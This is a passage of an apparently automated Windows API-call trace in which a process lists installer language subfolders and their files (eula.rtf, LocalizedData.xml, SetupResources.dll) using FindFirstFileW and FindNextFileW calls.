ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.154] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.154] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.154] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0131.154] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.154] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0131.155] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0131.156] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.157] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0131.158] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.158] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0131.158] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0131.159] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.159] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.159] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.159] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.159] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.160] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0131.160] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0131.160] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ab88 [0131.161] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.161] FindClose (in: hFindFile=0x69ab88 | out: hFindFile=0x69ab88) returned 1 [0131.161] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0131.161] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69afc8 [0131.162] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.162] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.162] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.162] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.162] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.162] FindClose (in: hFindFile=0x69afc8 | out: hFindFile=0x69afc8) returned 1 [0131.162] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.162] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0131.162] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af88 [0131.163] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.163] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.163] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.163] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.163] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.163] FindClose (in: hFindFile=0x69af88 | out: hFindFile=0x69af88) returned 1 [0131.163] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.163] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0131.163] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b088 [0131.176] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.176] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.176] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.176] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.176] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, 